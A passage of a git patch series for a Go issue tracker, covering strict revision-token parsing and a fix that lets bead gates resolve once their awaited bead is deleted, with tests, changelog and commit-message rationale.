to the REFERENCE store's own untyped funnel (env.reference.UpdateIssue), +// never to the client — see that file's own doc comment. That binding is +// sound for every case actually wired there because none of them takes the +// funnel AS ITS SUBJECT; these three do (RunIssueOperationsUpdateClosedFieldsMatchClose +// drives a reopen/reclose through it, RunIssueOperationsUpdateStampsStartedAtOnceOnTheFirstInProgress +// and RunIssueOperationsUpdateRawMetadataTakesTheFunnelsValueShapes assert +// what it writes). Wiring them against the reference store's funnel would +// assert a property of the store the server happens to share a process with, +// never of the client under test — the same kind of empty assertion binding +// UpdateRaw to the client would be in the other direction. There is no +// client-side UpdateRaw to bind instead: that is D8's allowlist decision, not +// a gap. +const issueOperationsUpdateRawSeamWaiverReason = "these three cases take the untyped UpdateRaw funnel itself as " + + "their subject; storage.UpdateIssue is on this client's unsupported allowlist by design (D8), so there is no " + + "client-side UpdateRaw to bind, and binding the reference store's own funnel instead (as this leg's other " + + "IssueOperationsStagingFixture cases do, to SEED preconditions) would assert a property of the store the " + + "server happens to share a process with, never of the client under test" + +// issuePatchFieldsNotOnUpdateWireWaiverReason covers the two +// LifecycleUpdateFixture concurrency cases whose racers patch +// IssuePatch.SpecID, .AwaitID, and/or .Owner against updateIssue. +// +// THIS IS PENDING, NOT PERMANENT: it is unbuilt work waiting on a wire +// change, not a boundary this leg can never cross. S4 wired the other two +// ExpectedVersion concurrency races (the plain Update race over +// Priority/Notes, and the Close race) against the real served HTTP harness, +// and both pass: precondition_failed decodes to storage.ErrVersionMismatch +// exactly as the local legs report it. These two cases cannot follow +// because SOME of their racers patch fields updateIssue refuses outright +// rather than ever sending — not a race outcome, a refusal before any +// request leaves the client. internal/httpclient/encode/ledger.go already +// names this gap per field (W-IssuePatch.SpecID, W-IssuePatch.AwaitID, +// W-IssuePatch.Owner, D8 refuse-not-drop): neither IssuePatchBody nor +// ApplyPatchBody publishes spec_id or await_id at all, and Owner is excluded +// from IssuePatchBody specifically (ApplyPatchBody — issues:batchApply's body +// — does carry it, which is a different operation from updateIssue). Closing +// this gap means publishing those fields on IssuePatchBody, a wire change to +// the write role itself, not a client-side wiring exercise — tracked as a +// follow-up slice, S4b: publish owner/spec_id/await_id on the wire. Until +// S4b lands, these two contracts stay off this leg rather than asserting a +// race outcome against a request three of its own racers never send. +const issuePatchFieldsNotOnUpdateWireWaiverReason = "PENDING, not permanent (tracked as S4b: publish " + + "owner/spec_id/await_id on the wire): two of the four ExpectedVersion concurrency contracts race " + + "IssuePatch.SpecID/.AwaitID/.Owner edits against updateIssue, and those three fields are refused outright by " + + "IssuePatchBody (W-IssuePatch.SpecID, W-IssuePatch.AwaitID, W-IssuePatch.Owner in " + + "internal/httpclient/encode/ledger.go, D8 refuse-not-drop) rather than ever reaching the server, so the race " + + "never happens over this wire; closing the gap means publishing those fields on IssuePatchBody, which is a " + + "wire change to the write role (S4b), not something this leg's test wiring can bind around today" + // TestEveryLegWiresEveryRoleContract fails when a backend leg skips a role // contract the conformance package exports. // diff --git a/internal/types/types.go b/internal/types/types.go index 7992ed893..12f3777e0 100644 --- a/internal/types/types.go +++ b/internal/types/types.go @@ -1360,11 +1360,29 @@ func RevisionToken(v int64) string { // ParseRevisionToken reads a wire revision token back to the internal int64. // -// It accepts exactly what RevisionToken emits. A caller must echo the token a -// response carried rather than compose one, so anything else is a client that -// invented a value, and reporting that as a parse failure is more useful than -// guessing at it. +// It accepts exactly what RevisionToken emits — the exact inverse of +// strconv.FormatInt — and nothing strconv.ParseInt alone would additionally +// tolerate: no leading "+" (FormatInt never emits one), no leading zero on +// any digit string longer than one character (FormatInt never pads "7" out +// to "007", positive or negative), and never "-0" (FormatInt(0, 10) is "0", +// never "-0"). A caller must echo the token a response carried rather than +// compose one, so anything else is a client that invented a value, and +// reporting that as a parse failure is more useful than guessing at it. func ParseRevisionToken(s string) (int64, error) { + if strings.HasPrefix(s, "+") { + return 0, fmt.Errorf("revision token %q: leading \"+\" is not a token RevisionToken ever emits", s) + } + digits := s + negative := strings.HasPrefix(s, "-") + if negative { + digits = s[1:] + } + if negative && digits == "0" { + return 0, fmt.Errorf("revision token %q: \"-0\" is not a token RevisionToken ever emits", s) + } + if len(digits) > 1 && digits[0] == '0' { + return 0, fmt.Errorf("revision token %q: a leading zero is not a token RevisionToken ever emits", s) + } return strconv.ParseInt(s, 10, 64) } diff --git a/internal/types/types_test.go b/internal/types/types_test.go index c36ee68bb..9f7bedc4c 100644 --- a/internal/types/types_test.go +++ b/internal/types/types_test.go @@ -1155,6 +1155,35 @@ func TestRevisionTokenSurvivesAJavaScriptRealisticParse(t *testing.T) { } } +// TestParseRevisionTokenRejectsMalformedTokens pins that the string<->int64 +// boundary is strict in both directions: ParseRevisionToken accepts exactly +// the decimal integer spelling RevisionToken emits (plain digits, an optional +// leading "-", no fractional part, no exponent, no surrounding whitespace, no +// value outside int64) and refuses everything else rather than guessing — +// the same "a token it cannot read is a server this client cannot follow" +// posture ParseRevisionToken's own doc comment describes, now pinned against +// the inputs a float-typed or lenient parser would have let through. +// +// "007" and "-0" pin the exact-inverse-of-FormatInt rule specifically: +// FormatInt never pads a digit string with a leading zero (so "007" is not a +// token any revision ever produced, even though strconv.ParseInt alone would +// accept it as 7), and FormatInt(0, 10) is always "0", never "-0". +func TestParseRevisionTokenRejectsMalformedTokens(t *testing.T) { + for _, token := range []string{ + "", "1.0", "1.5", "1e10", "1e0", "+1", " 1", "1 ", "0x1", "abc", + "9223372036854775808", // math.MaxInt64 + 1, one past the boundary + "-9223372036854775809", // math.MinInt64 - 1, one past the boundary + "NaN", "Infinity", "1", // fullwidth digit, not ASCII + "007", // leading zero FormatInt never pads in + "-007", // leading zero on the negative digit run + "-0", // FormatInt(0, 10) is "0", never "-0" + } { + if got, err := ParseRevisionToken(token); err == nil { + t.Errorf("ParseRevisionToken(%q) = %d, nil, want an error", token, got) + } + } +} + func TestReclaimedLeaseJSONSerialization(t *testing.T) { b, err := json.Marshal(ReclaimedLease{ID: "bd-1", PreviousOwner: "worker-a"}) if err != nil { From a6fcf915c05a92d2b38d9bdf9b43585322ca9dd5 Mon Sep 17 00:00:00 2001 From: Bee Date: Thu, 8 Oct 2026 17:10:33 +0000 Subject: [PATCH 178/325] fix(gate): resolve a bead gate whose awaited bead no longer exists (#6395) * fix(gate): resolve a bead gate whose awaited bead no longer exists (wy-dgfuiu) A gate with await_type=bead whose awaited bead has been purged could never resolve: GetIssue returns storage.ErrNotFound (or a wrapped sql.ErrNoRows) against real storage, checkBeadGate returned (false, "bead gate %q: %v"), the bead arm of evaluateGates never sets r.err, and applyGateCheckResults fell to the "pending" arm with exit 0. The gate stayed pending forever. Treat a missing bead as resolution, reusing the existing gateProxiedNotFound predicate so a genuine backend or transport failure still stays pending. close.go shares checkBeadGate and inherits the fix. Co-Authored-By: Claude Fable 5.1 Claude-Session: https://claude.ai/code/session_01MjQHZQoR8qZTaNj2QTZokr * fix(gate): resolve a deleted bead gate target only after a local sighting Review fixes for #6395 (adopt-pr iterations 1 to 5). The PR resolves a bead gate when its awaited bead no longer exists, but the lookups it relies on turned a routing failure into not-found: the direct getter (getIssueWithRouting) and the proxied getter both returned the local miss when a prefix-routed rig could not be read, so an OPEN bead in an unreachable rig resolved its gate and unblocked the step. An await_id that never named a real bead (a typo, a short ID) also resolved on the first check. - A miss outside this rig's own store is errBeadGateTargetUnconfirmed: a matched routes.jsonl route whose rig fails or does not return the bead, an unreadable routes.jsonl, or the contributor auto-routed store. The gate stays pending and the reason names the cause. inspectBeadGate tests it before not-found, because the wrapped routing error can itself be a not-found. Only this rig's own absence counts as gone. - bd gate check resolves a gone target only if an earlier check saw it in this rig. The first local sighting stamps await_seen= in the gate's metadata (an OpSetMetadata merge, so other keys survive, and retargeting the gate invalidates it). A target that is gone and was never seen stays pending with "no earlier gate check saw it; check the await_id, or close the gate with bd gate resolve". A bead read through a route is never stamped, so a misdirected route cannot arm a later local miss. A failed stamp write is an error row, like a failed gh:run await_id persist. - The proxied getter reads the target with workapi.GetIssueOrWisp (the issue use case alone never returns a wisp), stamps inside the apply transaction, and never auto-routes. - bd close applies the same rule (evaluateBeadGate, recording no sighting): a gone bead satisfies the gate only if an earlier check saw it, so closing a gate on a typo'd await_id still needs --force. - bd close reads the awaited bead from the store that owns the gate (RoutedResult.Store), as bd gate check in that rig would. Read from the launcher's store, a routed gate whose awaited bead only its own rig can reach (no route for it from the launcher) saw that open bead as missing and, its sighting recorded, closed without --force. The proxied-server route keeps the fresh-read getter (#5861). - bd rename and bd rename-prefix (both the rename loop and --repair) point a bead gate at its bead's new ID, keeping a : prefix and carrying the sighting. UpdateIssueID rewrites text references but never await_id, so a seen bead's rename read as a deletion and resolved the gate on its next check. - UpdateIssueID also commits on its own, so a retarget written after it left a window, or after a failure a lasting state, where the gate held a sighting of an ID that no longer existed and resolved while its bead was open under the new ID. All three paths now rename through renameIssueKeepingBeadGates, which orders the writes so no state in between resolves a gate: it moves await_id to the new ID while the sighting still names the old one (dropping, in the same write, a sighting that already names the new ID), renames the bead, and then records the sighting under the new ID. A check in between finds a never-seen ID and stays pending. If moving a gate or renaming the bead fails, the gates are pointed back at the old ID without a sighting, since a failed write may still have landed, and the rename fails: bd rename exits non-zero instead of warning from its text-reference loop. Losing only the final sighting write is a warning; the next check records the sighting again. - A check lists the gate before it looks the bead up, so a rename landing in between left it holding a copy that still waited on the old ID with its sighting: the old ID was gone, and the check closed the gate while the bead was open under its new ID. Once the bead is found gone, evaluateBeadGate reads the gate back from its own store (rereadBeadGate) and resolves only if the stored gate still waits on the same await_id and still records the sighting. The rename moves the gate before the bead takes the new ID, so a read made after the miss sees the move. This covers bd gate check, its proxied route and bd close; a gate that cannot be read back, or is found only through a route, stays pending. - checkBeadGate, the target lookup without the sighting rule, had no production caller left and read like the bead-gate rule, which is how bd close came to skip the sighting. It moves into the tests; inspectBeadGate carries the lookup contract and points callers at evaluateBeadGate. - The gate check help, docs/workflows/gates.md and the CHANGELOG describe the rule, including that a rename does not read as a deletion to a check or bd close that read the gate before it, and that a rename that fails partway leaves the gate pending without a sighting; the #6404 entry no longer says a routed read failure reads as not-found. The CHANGELOG also warns that a rename by an older bd does not move the gate, so once a check has seen the bead, the next check or bd close after that rename closes the gate while the bead is still open: upgrade the clients that rename beads together with the ones that check gates. docs/cli-reference is pinned to v1.2.2, so it is unchanged (generate-cli-docs.sh --check passes). Tests: TestCheckBeadGate_UnconfirmedMissStaysPending, TestEvaluateGates_BeadGateSightingRule, TestEvaluateBeadGate_*, TestBeadGateSeenUpdate_KeepsOtherMetadata, TestBeadGateTargetSeen, TestProxiedFreshReadGetter_LocalMissFollowsRoutes, TestRoutedBeadGateGetter_ReportsWhereTheAnswerCameFrom, TestCheckGateSatisfaction_BeadGateNeedsASighting, TestCloseDirectPreflight_BeadGateReadsTheGatesOwnStore, TestCloseBeadGateGetter_RouteSelection, TestBeadGateRetargetUpdate, TestPlanBeadGateMoves, TestRenameIssueKeepingBeadGates and TestRenameIssueKeepingBeadGates_FailedWritesResolveNoGate, which fails each write of a rename in turn, landed or not, and evaluates every gate after each write, both as stored and as a concurrent check listed it before the rename (unit); the unreadable-rig step of TestCheckBeadGateCrossRigPrefixRoute, TestRepairPrefixesRetargetsBeadGates (gates renamed before and after their bead) and TestRenameFailureLeavesBeadGatesPending (bd rename, --repair and rename-prefix with a failing UpdateIssueID, landed or not) (cgo); TestEmbeddedGateCreate/check_bead_gate_resolves_only_a_missing_target_it_saw and /rename_keeps_a_bead_gate_on_its_target (embedded); TestProxiedServerGateCheck/bead_gate_resolves_when_seen_target_is_deleted and /bead_gate_never_seen_target_stays_pending (proxied). Reordering the unconfirmed case after not-found, dropping the sighting condition, swallowing the routed error, stamping routed sightings, or matching any stamp regardless of await_id each fails these tests, as do closing with the sighting-blind lookup, reading the launcher's store on close, dropping the carried sighting or the rig prefix on a retarget, dropping the retarget from bd rename, the rename-prefix loop or --repair, renaming the bead before moving its gates, keeping the sighting when moving a gate back, keeping a stale sighting of the new ID, skipping the final sighting write, resolving a gone bead without reading the gate back or from a gate read back that moved, lost its sighting or was found only through a route, or reporting an unconfirmed read-back as an error or an unreadable gate as pending. Agent-Signature: claude-code-claude-opus-5-5-max on behalf of Julian Knutsen Co-Authored-By: Claude Opus 5.5 --------- Co-authored-by: Claude Fable 5.1 Co-authored-by: Eddie the Engineer --- CHANGELOG.md | 32 +- cmd/bd/close.go | 23 +- cmd/bd/close_direct.go | 8 +- cmd/bd/close_gate_test.go | 119 ++- cmd/bd/close_proxied_server.go | 2 +- cmd/bd/gate.go | 350 ++++++-- cmd/bd/gate_check_proxied_integration_test.go | 58 ++ cmd/bd/gate_embedded_test.go | 132 +++ cmd/bd/gate_proxied_server.go | 67 +- cmd/bd/gate_routing_test.go | 18 +- cmd/bd/gate_test.go | 769 +++++++++++++++++- cmd/bd/rename.go | 122 ++- cmd/bd/rename_prefix.go | 8 +- cmd/bd/rename_prefix_repair_test.go | 176 ++++ docs/workflows/gates.md | 13 +- 15 files changed, 1784 insertions(+), 113 deletions(-) diff --git a/CHANGELOG.md b/CHANGELOG.md index 4c6167e6d..09d65701d 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -1491,9 +1491,35 @@ and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0 override) rather than letting a dead store read as satisfied. On the classic and proxied routes alike, `bd gate check` now exits non-zero whenever any gate it checks (gh, timer, or bead) could not be checked or - closed. A missing bead still stays pending, and for now so does a bead in - a prefix-routed rig whose store cannot be read: routing still reports that - failure as not-found. + closed. A bead in a prefix-routed rig whose store cannot be read stays + pending, with the routing failure in its reason (`cannot confirm the + awaited bead is gone`); for a missing bead, see + [#6395](https://github.com/gastownhall/beads/pull/6395). + +- **`bd gate check` resolves a bead gate whose awaited bead was deleted** + ([#6395](https://github.com/gastownhall/beads/pull/6395)). A bead gate + waited for its target to close, so deleting the target left the gate + pending forever and its step blocked. The first `bd gate check` that finds + the target in this rig's own store now records the sighting in the gate's + metadata (`await_seen`), and a later check that no longer finds it there + resolves the gate (`awaited bead no longer exists`). An await ID that + no check has seen, such as a typo or a bead deleted before the first check, + stays pending with a diagnostic instead of unblocking the step: correct the + await ID or close the gate with `bd gate resolve`. A miss outside this + rig's store (a target whose prefix routes to another rig, or a contributor + auto-routed store) does not prove the bead gone, so the gate stays pending + and the reason names the cause. `bd close` on a bead gate follows the same + rule: it no longer needs `--force` once an earlier check saw the awaited + bead and the bead is gone from the gate's rig, with no route pointing + elsewhere. `bd rename` and `bd rename-prefix` point a bead gate at its + bead's new ID, sighting included, so a renamed bead does not read as + deleted, even to a check or `bd close` that read the gate before the + rename; a rename that fails partway leaves the gate pending without a + sighting, never resolved. A rename by an older bd does not move the + gate: if a check had already seen the bead, a later check or `bd close` + treats that rename as a deletion and closes the gate while the bead is + still open, so upgrade every client that renames beads together with the + ones that check gates. - **An epic that blocks on its own children no longer hides them from `bd ready`** ([#6506](https://github.com/gastownhall/beads/issues/6506)). A diff --git a/cmd/bd/close.go b/cmd/bd/close.go index 9e4f14ab0..b99abe219 100644 --- a/cmd/bd/close.go +++ b/cmd/bd/close.go @@ -676,8 +676,10 @@ func isMachineCheckableGate(issue *types.Issue) bool { } // checkGateSatisfaction checks whether a gate issue's condition is satisfied. +// gateStore is the store that owns the gate (nil on the proxied-server route); +// see closeBeadGateGetter. // Returns nil if the gate is satisfied (or not a machine-checkable gate), or an error describing why it cannot be closed. -func checkGateSatisfaction(issue *types.Issue) error { +func checkGateSatisfaction(issue *types.Issue, gateStore storage.DoltStorage) error { if !isMachineCheckableGate(issue) { return nil } @@ -695,7 +697,9 @@ func checkGateSatisfaction(issue *types.Issue) error { case issue.AwaitType == "timer": resolved, escalated, reason, err = checkTimer(issue, time.Now()) case issue.AwaitType == "bead": - resolved, reason, err = checkBeadGate(rootCtx, closeBeadGateGetter(), issue.AwaitID) + // bd gate check's rule, without recording a sighting: a missing + // bead no check ever saw does not satisfy the gate. + resolved, reason, err = evaluateBeadGate(rootCtx, issue, closeBeadGateGetter(gateStore), nil) if err != nil { // Unlike the gh:* and timer arms above, a bead gate whose store // cannot be read stays closed: the close would need that same @@ -726,17 +730,16 @@ func checkGateSatisfaction(issue *types.Issue) error { } // closeBeadGateGetter picks the bead-gate lookup the current route can serve. -// The proxied-server route never opens the local store (the root pre-run -// short-circuits to uowProvider), so a store-backed getter there refused every -// bead gate with "no local store available" even when the awaited bead was -// closed (#5861); that route now reads through the same fresh-read getter -// `bd gate check` uses. The direct and embedded routes keep the store-backed -// local -> prefix-route lookup. -func closeBeadGateGetter() issueGetter { +// The direct and embedded routes look the awaited bead up from gateStore, the +// store that owns the gate, as bd gate check in that rig would: for a gate +// reached through a route, the launcher's store can report an open bead as +// missing. The proxied-server route never opens a local store, so it reads +// through the same fresh-read getter bd gate check uses there (#5861). +func closeBeadGateGetter(gateStore storage.DoltStorage) issueGetter { if usesProxiedServer() { return proxiedFreshReadGetter{} } - return routedBeadGateGetter{localStore: store} + return routedBeadGateGetter{localStore: gateStore} } // autoCloseCompletedMolecule checks if closing a step completed an auto-closing diff --git a/cmd/bd/close_direct.go b/cmd/bd/close_direct.go index 635212500..d7ac30cb1 100644 --- a/cmd/bd/close_direct.go +++ b/cmd/bd/close_direct.go @@ -50,7 +50,7 @@ type closeDirectPlan struct { func closeDirectPreflight(results []*RoutedResult, resolvedIDs, reasons []string, force bool) closeDirectPlan { plan := closeDirectPlan{refusals: make([]string, len(resolvedIDs))} for i, id := range resolvedIDs { - if refusal := closeDirectCheckOne(id, results[i].Issue, force); refusal != "" { + if refusal := closeDirectCheckOne(id, results[i].Issue, results[i].Store, force); refusal != "" { plan.refusals[i] = refusal continue } @@ -65,8 +65,8 @@ func closeDirectPreflight(results []*RoutedResult, resolvedIDs, reasons []string } // closeDirectCheckOne returns one argument's refusal, or "" when it may go to -// the batch. -func closeDirectCheckOne(id string, issue *types.Issue, force bool) string { +// the batch. st is the store that owns the issue. +func closeDirectCheckOne(id string, issue *types.Issue, st storage.DoltStorage, force bool) string { // Close validation guards a state change; a row already at literal // StatusClosed has none to guard, so skip it and let the re-close reach the // engine as the idempotent no-op it has always been (ga-ktn9pe.4.8). @@ -88,7 +88,7 @@ func closeDirectCheckOne(id string, issue *types.Issue, force bool) string { // Gate satisfaction for machine-checkable gates (GH#1467). if !force { - if err := checkGateSatisfaction(issue); err != nil { + if err := checkGateSatisfaction(issue, st); err != nil { return fmt.Sprintf("cannot close %s: %s", id, err) } } diff --git a/cmd/bd/close_gate_test.go b/cmd/bd/close_gate_test.go index 0cfc91900..f935de4d3 100644 --- a/cmd/bd/close_gate_test.go +++ b/cmd/bd/close_gate_test.go @@ -2,6 +2,7 @@ package main import ( "context" + "encoding/json" "errors" "strings" "testing" @@ -124,7 +125,7 @@ func TestCheckGateSatisfaction_NonGateIssues(t *testing.T) { for _, tt := range tests { t.Run(tt.name, func(t *testing.T) { - err := checkGateSatisfaction(tt.issue) + err := checkGateSatisfaction(tt.issue, nil) if err != nil { t.Errorf("checkGateSatisfaction() returned error for non-machine-checkable issue: %v", err) } @@ -141,7 +142,7 @@ func TestCheckGateSatisfaction_GHPRWithoutAwaitID(t *testing.T) { Title: "PR gate without ID", } - err := checkGateSatisfaction(issue) + err := checkGateSatisfaction(issue, nil) if err == nil { t.Error("checkGateSatisfaction() should return error for gh:pr gate without await_id") } @@ -159,7 +160,7 @@ func TestCheckGateSatisfaction_GHRunWithoutAwaitID(t *testing.T) { Title: "Run gate without ID", } - err := checkGateSatisfaction(issue) + err := checkGateSatisfaction(issue, nil) if err == nil { t.Error("checkGateSatisfaction() should return error for gh:run gate without await_id") } @@ -177,7 +178,7 @@ func TestCheckGateSatisfaction_BeadGateInvalidFormat(t *testing.T) { Title: "Bead gate with bad format", } - err := checkGateSatisfaction(issue) + err := checkGateSatisfaction(issue, nil) if err == nil { t.Error("checkGateSatisfaction() should return error for bead gate with invalid await_id format") } @@ -192,7 +193,7 @@ func TestCheckGateSatisfaction_ErrorMessageFormat(t *testing.T) { Title: "Test gate", } - err := checkGateSatisfaction(issue) + err := checkGateSatisfaction(issue, nil) if err == nil { t.Fatal("expected error") } @@ -221,9 +222,6 @@ func TestCheckGateSatisfaction_BeadGateUnreadableStoreRefuses(t *testing.T) { // A bead gate whose store read fails (anything but not-found) must refuse // the close with the read error, not fall through to the fail-open // warning the gh:* and timer arms use. - saveAndRestoreGlobals(t) - store = &unreadableGateStore{err: errors.New("dolt exploded")} - issue := &types.Issue{ IssueType: "gate", AwaitType: "bead", @@ -231,7 +229,7 @@ func TestCheckGateSatisfaction_BeadGateUnreadableStoreRefuses(t *testing.T) { Title: "Bead gate on an unreadable store", } - err := checkGateSatisfaction(issue) + err := checkGateSatisfaction(issue, &unreadableGateStore{err: errors.New("dolt exploded")}) if err == nil { t.Fatal("checkGateSatisfaction() let a bead gate close although its store could not be read") } @@ -242,20 +240,113 @@ func TestCheckGateSatisfaction_BeadGateUnreadableStoreRefuses(t *testing.T) { } } +func TestCheckGateSatisfaction_BeadGateNeedsASighting(t *testing.T) { + // The close pre-check applies bd gate check's rule: an awaited bead the + // gate's store does not have satisfies the gate only if an earlier check + // saw it there, so a gate on a typo'd await_id cannot be closed past. Nor + // can a gate that a rename moved on after bd close read it. + withBeadGateTown(t) + gateStore := &beadGateLocalStore{issues: map[string]*types.Issue{}} + + for _, awaitID := range []string{"bd-typo123", "other:ot-typo123"} { + gate := &types.Issue{ID: "bd-gate", IssueType: "gate", AwaitType: "bead", AwaitID: awaitID} + gateStore.issues[gate.ID] = gate + err := checkGateSatisfaction(gate, gateStore) + if err == nil { + t.Fatalf("%s: checkGateSatisfaction() let a gate close on a bead no check ever saw", awaitID) + } + for _, want := range []string{"no earlier gate check saw it", "--force"} { + if !strings.Contains(err.Error(), want) { + t.Errorf("%s: error should mention %q, got: %v", awaitID, want, err) + } + } + + gate.Metadata = json.RawMessage(`{"await_seen":"` + awaitID + `"}`) + if err := checkGateSatisfaction(gate, gateStore); err != nil { + t.Errorf("%s: a seen bead that is gone should satisfy the gate, got: %v", awaitID, err) + } + + moved := *gate + moved.AwaitID = awaitID + "-renamed" + gateStore.issues[gate.ID] = &moved + err = checkGateSatisfaction(gate, gateStore) + if err == nil || !strings.Contains(err.Error(), "the gate changed") { + t.Errorf("%s: a gate moved on since it was read should not be closed past, got: %v", awaitID, err) + } + } +} + +func TestCloseDirectPreflight_BeadGateReadsTheGatesOwnStore(t *testing.T) { + // A gate reached through a route is checked against the store that owns + // it, as bd gate check in its rig would. The launcher's store does not + // have the awaited bead: checking there would read the open bead as + // deleted and, the gate's sighting being recorded, let the close through. + saveAndRestoreGlobals(t) + withBeadGateTown(t) + store = &beadGateLocalStore{issues: map[string]*types.Issue{}} + + for _, tt := range []struct { + name string + target types.Status + wantRefusal string + }{ + {name: "awaited bead open in the gate's rig", target: types.StatusOpen, wantRefusal: "bead rg-target is open"}, + {name: "awaited bead closed in the gate's rig", target: types.StatusClosed}, + } { + t.Run(tt.name, func(t *testing.T) { + gate := &types.Issue{ + ID: "rg-gate", + Status: types.StatusOpen, + IssueType: "gate", + AwaitType: "bead", + AwaitID: "rg-target", + Metadata: json.RawMessage(`{"await_seen":"rg-target"}`), + } + gateStore := &beadGateLocalStore{issues: map[string]*types.Issue{ + "rg-target": {ID: "rg-target", Status: tt.target}, + }} + results := []*RoutedResult{{Issue: gate, Store: gateStore, Routed: true, ResolvedID: gate.ID}} + + plan := closeDirectPreflight(results, []string{gate.ID}, []string{"done"}, false) + if tt.wantRefusal == "" { + if plan.refusals[0] != "" || len(plan.items) != 1 { + t.Fatalf("close refused (%q), want it to go to the batch", plan.refusals[0]) + } + if plan.items[0].store != gateStore { + t.Error("the close does not go to the gate's own store") + } + return + } + if len(plan.items) != 0 { + t.Fatalf("the gate went to the batch, want a refusal mentioning %q", tt.wantRefusal) + } + if !strings.Contains(plan.refusals[0], tt.wantRefusal) { + t.Errorf("refusal %q does not mention %q", plan.refusals[0], tt.wantRefusal) + } + }) + } +} + // The close pre-check reads a bead gate's target through the route that can // serve it: the proxied route has no local store, so it must not build a -// store-backed getter there (#5861). +// store-backed getter there (#5861), and the direct route reads from the +// store that owns the gate. func TestCloseBeadGateGetter_RouteSelection(t *testing.T) { oldMode := proxiedServerMode t.Cleanup(func() { proxiedServerMode = oldMode }) + gateStore := &beadGateLocalStore{} proxiedServerMode = true - if _, ok := closeBeadGateGetter().(proxiedFreshReadGetter); !ok { - t.Errorf("proxied-server mode: got %T, want proxiedFreshReadGetter", closeBeadGateGetter()) + if _, ok := closeBeadGateGetter(gateStore).(proxiedFreshReadGetter); !ok { + t.Errorf("proxied-server mode: got %T, want proxiedFreshReadGetter", closeBeadGateGetter(gateStore)) } proxiedServerMode = false - if _, ok := closeBeadGateGetter().(routedBeadGateGetter); !ok { - t.Errorf("direct mode: got %T, want routedBeadGateGetter", closeBeadGateGetter()) + getter, ok := closeBeadGateGetter(gateStore).(routedBeadGateGetter) + if !ok { + t.Fatalf("direct mode: got %T, want routedBeadGateGetter", closeBeadGateGetter(gateStore)) + } + if getter.localStore != gateStore { + t.Error("direct mode: the getter does not read the gate's own store") } } diff --git a/cmd/bd/close_proxied_server.go b/cmd/bd/close_proxied_server.go index 3c00ceffa..94a614e3a 100644 --- a/cmd/bd/close_proxied_server.go +++ b/cmd/bd/close_proxied_server.go @@ -314,7 +314,7 @@ func closeProxiedCheckOne(ctx context.Context, uw uow.UnitOfWork, id string, in // unprefixed, so both routes now spell one refusal one way. if !in.force { - if err := checkGateSatisfaction(current); err != nil { + if err := checkGateSatisfaction(current, nil); err != nil { return fmt.Sprintf("cannot close %s: %s", id, err), nil } } diff --git a/cmd/bd/gate.go b/cmd/bd/gate.go index ff1eb65a5..3aa97289e 100644 --- a/cmd/bd/gate.go +++ b/cmd/bd/gate.go @@ -4,6 +4,7 @@ import ( "bytes" "context" "encoding/json" + "errors" "fmt" "os" "os/exec" @@ -13,6 +14,7 @@ import ( "github.com/spf13/cobra" "github.com/steveyegge/beads/internal/metrics" "github.com/steveyegge/beads/internal/storage" + storageissueops "github.com/steveyegge/beads/internal/storage/issueops" "github.com/steveyegge/beads/internal/types" "github.com/steveyegge/beads/internal/ui" ) @@ -604,7 +606,7 @@ Gate types: gh:run - Check GitHub Actions workflow runs gh:pr - Check pull request merge status timer - Check timer gates (auto-expire based on timeout) - bead - Check cross-rig bead gates + bead - Check bead gates all - Check all gate types GitHub gates use the 'gh' CLI to query status: @@ -615,7 +617,8 @@ A gate is resolved when: - gh:run: status=completed AND conclusion=success - gh:pr: state=MERGED - timer: current time > created_at + timeout - - bead: target bead status=closed + - bead: target bead status=closed, or a bead an earlier check saw in + this rig no longer exists A gate is escalated when: - gh:run: status=completed AND conclusion in (failure, canceled) @@ -626,7 +629,7 @@ Examples: bd gate check --type=gh # Check only GitHub gates bd gate check --type=gh:run # Check only workflow run gates bd gate check --type=timer # Check only timer gates - bd gate check --type=bead # Check only cross-rig bead gates + bd gate check --type=bead # Check only bead gates bd gate check --dry-run # Show what would happen without changes bd gate check --escalate # Escalate expired/failed gates`, SilenceUsage: true, @@ -670,13 +673,21 @@ Examples: } var persistAwaitID func(gateID, runID string) error + var recordSeen func(gate *types.Issue) error if !dryRun { persistAwaitID = func(gateID, runID string) error { return updateGateAwaitIDFunc(nil, gateID, runID) } + recordSeen = func(gate *types.Issue) error { + if err := store.UpdateIssue(ctx, gate.ID, beadGateSeenUpdate(gate.AwaitID), actor); err != nil { + return err + } + commandDidWrite.Store(true) + return nil + } } - results := evaluateGates(ctx, filteredGates, time.Now(), routedBeadGateGetter{localStore: store}, persistAwaitID) + results := evaluateGates(ctx, filteredGates, time.Now(), routedBeadGateGetter{localStore: store}, persistAwaitID, recordSeen) resolvedCount, escalatedCount, errorCount := applyGateCheckResults( results, dryRun, escalateFlag, @@ -715,7 +726,7 @@ func printNoOpenGates(typeFilter string) { } } -func evaluateGates(ctx context.Context, gates []*types.Issue, now time.Time, getter issueGetter, persistAwaitID func(gateID, runID string) error) []gateCheckResult { +func evaluateGates(ctx context.Context, gates []*types.Issue, now time.Time, getter issueGetter, persistAwaitID func(gateID, runID string) error, recordSeen func(gate *types.Issue) error) []gateCheckResult { results := make([]gateCheckResult, 0, len(gates)) for _, gate := range gates { r := gateCheckResult{gate: gate} @@ -727,7 +738,7 @@ func evaluateGates(ctx context.Context, gates []*types.Issue, now time.Time, get case gate.AwaitType == "timer": r.resolved, r.escalated, r.reason, r.err = checkTimer(gate, now) case gate.AwaitType == "bead": - r.resolved, r.reason, r.err = checkBeadGate(ctx, getter, gate.AwaitID) + r.resolved, r.reason, r.err = evaluateBeadGate(ctx, gate, getter, recordSeen) default: continue } @@ -1248,71 +1259,318 @@ func checkTimer(gate *types.Issue, now time.Time) (resolved, escalated bool, rea return false, false, fmt.Sprintf("expires in %s", remaining), nil } -// issueGetter is the one storage method checkBeadGate needs, split out so +// issueGetter is the one storage method inspectBeadGate needs, split out so // tests can fake the lookup without standing up a Dolt store. type issueGetter interface { GetIssue(ctx context.Context, id string) (*types.Issue, error) } +// beadGateTargetGetter is implemented by getters that also report where the +// awaited bead was looked up. local is true when the answer came from this +// rig's own store; a bead read through a prefix or contributor route is not +// local. Only a local sighting is recorded on the gate (see +// evaluateBeadGate), so a misdirected route can never let a later local miss +// resolve the gate. A getter without this method is treated as local. +type beadGateTargetGetter interface { + getBeadGateTarget(ctx context.Context, id string) (issue *types.Issue, local bool, err error) +} + +// errBeadGateTargetUnconfirmed marks a miss that happened somewhere other +// than this rig's own store: a route matched but its store could not be read, +// or the routed store did not return the bead. Neither proves the bead is +// gone, so the gate stays pending instead of resolving. +var errBeadGateTargetUnconfirmed = 